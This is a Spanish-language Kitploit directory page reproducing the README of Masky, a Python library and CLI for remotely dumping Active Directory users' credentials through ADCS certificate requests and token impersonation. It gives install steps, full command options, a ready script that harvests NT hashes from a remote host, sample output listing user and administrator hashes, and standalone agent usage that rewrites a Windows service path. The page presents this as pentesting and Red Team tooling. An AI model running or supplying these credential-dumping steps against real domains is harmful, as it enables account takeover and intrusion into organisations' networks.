Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Masky — Librería Python con CLI que permite volcar de forma remota las credenciales de usuarios de dominio a través de un ADCS sin volcar la memoria del proceso LSASS | Kitploit
Herramientas/GitHubGitHub/z4ksec/masky
ExplotaciónPruebas de PenetraciónAutenticación
GitHubz4ksec/masky

Masky

Librería Python con CLI que permite volcar de forma remota las credenciales de usuarios de dominio a través de un ADCS sin volcar la memoria del proceso LSASS

Ver Repositorio
404411hace 1 añoRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Masky

PyPI version Twitter

Masky es una librería de Python que proporciona una forma alternativa de volcar de forma remota las credenciales de los usuarios del dominio gracias a un ADCS. Se ha construido una herramienta de línea de comandos sobre esta librería para recopilar fácilmente PFX, hashes NT y TGT en un ámbito más amplio.

Esta herramienta no explota ninguna nueva vulnerabilidad y no funciona volcando la memoria del proceso LSASS. De hecho, solo aprovecha características legítimas de Windows y Active Directory (suplantación de tokens, autenticación mediante certificados a través de Kerberos y recuperación de hashes NT mediante PKINIT). Se publicó una entrada de blog que detalla las técnicas implementadas y cómo funciona Masky.

El código fuente de Masky se basa en gran medida en las increíbles herramientas Certify y Certipy. Agradezco enormemente a sus autores por las investigaciones sobre técnicas ofensivas de explotación contra ADCS (ver sección de Agradecimientos).

Instalación

La librería Masky para Python 3 y su CLI asociada se pueden instalar fácilmente a través del repositorio público PyPi de la siguiente manera:

root@kitploit:~
pip install masky

El ejecutable del agente Masky ya está incluido dentro del paquete PyPi.

Además, si necesitas modificar el agente, el código en C# se puede recompilar a través de un proyecto de Visual Studio ubicado en agent/Masky.sln. Requeriría .NET Framework 4 para ser compilado.

Uso

Masky ha sido diseñado como una librería de Python. Además, se creó una interfaz de línea de comandos sobre ella para facilitar su uso durante pruebas de penetración o actividades de Red Team.

Para ambos usos, primero necesitas obtener el FQDN de un servidor de CA y su nombre de CA desplegado a través de un ADCS. Esta información se puede obtener fácilmente mediante la opción certipy find o mediante la herramienta integrada certutil.exe de Microsoft. Asegúrate de que la plantilla User predeterminada esté habilitada en la CA objetivo.

Advertencia: Masky despliega un ejecutable en cada objetivo mediante una modificación del servicio RasAuto existente. A pesar de la reversión automática de su valor ImagePath original, un error inesperado durante la ejecución de Masky podría omitir la fase de limpieza. Por lo tanto, no olvides restablecer manualmente el valor original en caso de una detención no deseada.

Línea de comandos

La siguiente demostración muestra un uso básico de Masky al atacar 4 sistemas remotos. Su ejecución permite recopilar hashes NT, CCACHE y PFX de 3 usuarios de dominio distintos del dominio de prueba sec.lab.

Demostración CLI de Masky

Masky también proporciona opciones que son comunes en tales herramientas (número de hilos, modo de autenticación, objetivos cargados desde archivos, etc.).

root@kitploit:~
  __  __           _
 |  \/  | __ _ ___| | ___   _
 | |\/| |/ _` / __| |/ / | | |
 | |  | | (_| \__ \   <| |_| |
 |_|  |_|\__,_|___/_|\_\__,  |
  v0.0.3                 |___/

uso: Masky [-h] [-v] [-ts] [-t HILOS] [-d DOMINIO] [-u USUARIO] [-p CONTRASEÑA] [-k] [-H HASHES] [-dc-ip dirección ip] -ca AUTORIDAD_CERTIFICADO [-nh] [-nt] [-np] [-o SALIDA]
           [objetivos ...]

argumentos posicionales:
  objetivos              Se aceptan objetivos en formato CIDR, nombre de host e IP, desde un archivo o no

opciones:
  -h, --help             muestra este mensaje de ayuda y sale
  -v, --verbose          habilita mensajes de depuración
  -ts, --timestamps      muestra marcas de tiempo para cada registro
  -t HILOS, --threads HILOS
                         tamaño del grupo de hilos (máx. 15)

Autenticación:
  -d DOMINIO, --domain DOMINIO
                         nombre de dominio para autenticarse
  -u USUARIO, --user USUARIO
                         nombre de usuario para autenticarse
  -p CONTRASEÑA, --password CONTRASEÑA
                         contraseña para autenticarse
  -k, --kerberos         usa autenticación Kerberos. Obtiene credenciales del archivo ccache (KRB5CCNAME) basado en los parámetros del objetivo.
  -H HASHES, --hashes HASHES
                         hashes para autenticarse (LM:NT, :NT o :LM)

Conexión:
  -dc-ip dirección ip    dirección IP del controlador de dominio. Si se omite, usará la parte del dominio (FQDN) especificada en el parámetro objetivo
  -ca AUTORIDAD_CERTIFICADO, --certificate-authority AUTORIDAD_CERTIFICADO
                         nombre de la Autoridad de Certificación (SERVIDOR\NOMBRE_CA)

Resultados:
  -nh, --no-hash         no solicitar hashes NT
  -nt, --no-ccache       no guardar archivos ccache
  -np, --no-pfx          no guardar archivos pfx
  -o SALIDA, --output SALIDA
                         ruta local a una carpeta donde se almacenarán los resultados de Masky (crea la carpeta automáticamente si no existe)

Librería Python

A continuación se muestra un script simple que usa la librería Masky para recopilar secretos de sesiones de usuario de dominio activas desde un objetivo remoto.

root@kitploit:~
from masky import Masky
from getpass import getpass


def dump_nt_hashes():
    # Define los parámetros de autenticación
    ca = "srv-01.sec.lab\sec-SRV-01-CA"
    dc_ip = "192.168.23.148"
    domain = "sec.lab"
    user = "askywalker"
    password = getpass()

    # Crea una instancia de Masky con estas credenciales
    m = Masky(ca=ca, user=user, dc_ip=dc_ip, domain=domain, password=password)

    # Establece un objetivo y ejecuta Masky contra él
    target = "192.168.23.130"
    rslts = m.run(target)

    # Verifica si Masky secuestró exitosamente al menos una sesión de usuario
    # o si ocurrió un error inesperado
    if not rslts:
        return False

    # Itera sobre el objeto MaskyResult para mostrar los usuarios secuestrados y obtener sus hashes NT
    print(f"Resultados del hostname: {rslts.hostname}")
    for user in rslts.users:
        print(f"\t - {user.domain}\{user.name} - {user.nt_hash}")

    return True


if __name__ == "__main__":
    dump_nt_hashes()

Su ejecución genera la siguiente salida.

root@kitploit:~
$> python3 .\masky_demo.py
Password:
Results from hostname: SRV-01
         - sec\hsolo - 05ff4b2d523bc5c21e195e9851e2b157
         - sec\askywalker - 8928e0723012a8471c0084149c4e23b1
         - sec\administrator - 4f1c6b554bb79e2ce91e012ffbe6988a

Un objeto MaskyResults que contiene una lista de objetos User se devuelve después de una ejecución exitosa de Masky.

Por favor, consulta el módulo masky\lib\results.py para verificar los métodos y atributos proporcionados por estas dos clases.

Agente Masky independiente

Desde la versión 0.0.5 de Masky, el agente ejecutable independiente ahora se puede ejecutar fácilmente sin la CLI de Python.

Estos son los argumentos:

root@kitploit:~
$> .\Masky.exe /ca:'SERVIDOR CA\NOMBRE CA' (/template:User) (/currentUser) (/output:./output.txt) (/debug:./debug.txt)

El parámetro /ca es obligatorio, al igual que en la CLI de Python. Además, se ha añadido el argumento /currentUser para evitar la suplantación de tokens en ejecución. De hecho, se realizará una solicitud de certificado simple en el contexto del usuario actual, basada en la plantilla proporcionada (template). Los parámetros /output y /debug permiten especificar la ruta donde se crearán los archivos.

Los valores predeterminados son los siguientes:

  • currentUser: false (es decir, la suplantación está habilitada);
  • template: User;
  • output: ./Masky_results.txt
  • debug: ./Masky_debug.txt

Demostración del agente independiente de Masky

Agradecimientos

  • Olivier Lyak por la herramienta Certipy y los artículos asociados
  • Will Schroeder y Lee Christensen por la herramienta Certify y el artículo Certified Pre-Owned
  • Dirk-jan por PKINITtools y su artículo sobre relay NTLM a ADCS
  • SecureAuthCorp y los colaboradores asociados por la librería Impacket
  • Pixis por la herramienta Lsassy
  • La herramienta Incognito y su implementación en Metasploit
  • S3cur3Th1sSh1t por la herramienta SharpImpersonation y el artículo asociado
  • McAfee por su artículo sobre técnicas de suplantación de tokens
Descargar herramienta